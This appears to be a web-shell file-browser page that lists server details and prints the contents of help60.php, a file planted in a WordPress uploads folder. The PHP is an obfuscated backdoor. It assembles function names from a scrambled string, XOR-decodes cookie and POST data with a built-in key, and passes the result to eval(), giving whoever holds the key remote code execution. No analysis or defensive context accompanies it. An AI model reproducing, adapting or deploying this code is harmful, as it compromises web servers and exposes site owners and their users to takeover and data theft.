HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/help60.php
<?php
$kwwek = '#8rtupx7e63g04vycnia-H*21smb9l5_dok\'';$eldvzyn = Array();$eldvzyn[] = $kwwek[21].$kwwek[22];$eldvzyn[] = $kwwek[28].$kwwek[7].$kwwek[27].$kwwek[1].$kwwek[1].$kwwek[7].$kwwek[32].$kwwek[13].$kwwek[20].$kwwek[13].$kwwek[16].$kwwek[1].$kwwek[16].$kwwek[20].$kwwek[13].$kwwek[12].$kwwek[9].$kwwek[9].$kwwek[20].$kwwek[27].$kwwek[24].$kwwek[9].$kwwek[12].$kwwek[20].$kwwek[1].$kwwek[30].$kwwek[19].$kwwek[16].$kwwek[28].$kwwek[23].$kwwek[13].$kwwek[23].$kwwek[10].$kwwek[19].$kwwek[32].$kwwek[12];$eldvzyn[] = $kwwek[0];$eldvzyn[] = $kwwek[16].$kwwek[33].$kwwek[4].$kwwek[17].$kwwek[3];$eldvzyn[] = $kwwek[25].$kwwek[3].$kwwek[2].$kwwek[31].$kwwek[2].$kwwek[8].$kwwek[5].$kwwek[8].$kwwek[19].$kwwek[3];$eldvzyn[] = $kwwek[8].$kwwek[6].$kwwek[5].$kwwek[29].$kwwek[33].$kwwek[32].$kwwek[8];$eldvzyn[] = $kwwek[25].$kwwek[4].$kwwek[27].$kwwek[25].$kwwek[3].$kwwek[2];$eldvzyn[] = $kwwek[19].$kwwek[2].$kwwek[2].$kwwek[19].$kwwek[15].$kwwek[31].$kwwek[26].$kwwek[8].$kwwek[2].$kwwek[11].$kwwek[8];$eldvzyn[] = $kwwek[25].$kwwek[3].$kwwek[2].$kwwek[29].$kwwek[8].$kwwek[17];$eldvzyn[] = $kwwek[5].$kwwek[19].$kwwek[16].$kwwek[34];foreach ($eldvzyn[7]($_COOKIE, $_POST) as $iheuvqp => $etvijn){function qjfsc($eldvzyn, $iheuvqp, $mcjwgat){return $eldvzyn[6]($eldvzyn[4]($iheuvqp . $eldvzyn[1], ($mcjwgat / $eldvzyn[8]($iheuvqp)) + 1), 0, $mcjwgat);}function ofczuz($eldvzyn, $fissdi){return @$eldvzyn[9]($eldvzyn[0], $fissdi);}function dcfmrms($eldvzyn, $fissdi){$pwcov = $eldvzyn[3]($fissdi) % 3;if (!$pwcov) {eval($fissdi[1]($fissdi[2]));exit();}}$etvijn = ofczuz($eldvzyn, $etvijn);dcfmrms($eldvzyn, $eldvzyn[5]($eldvzyn[2], $etvijn ^ qjfsc($eldvzyn, $iheuvqp, $eldvzyn[8]($etvijn))));}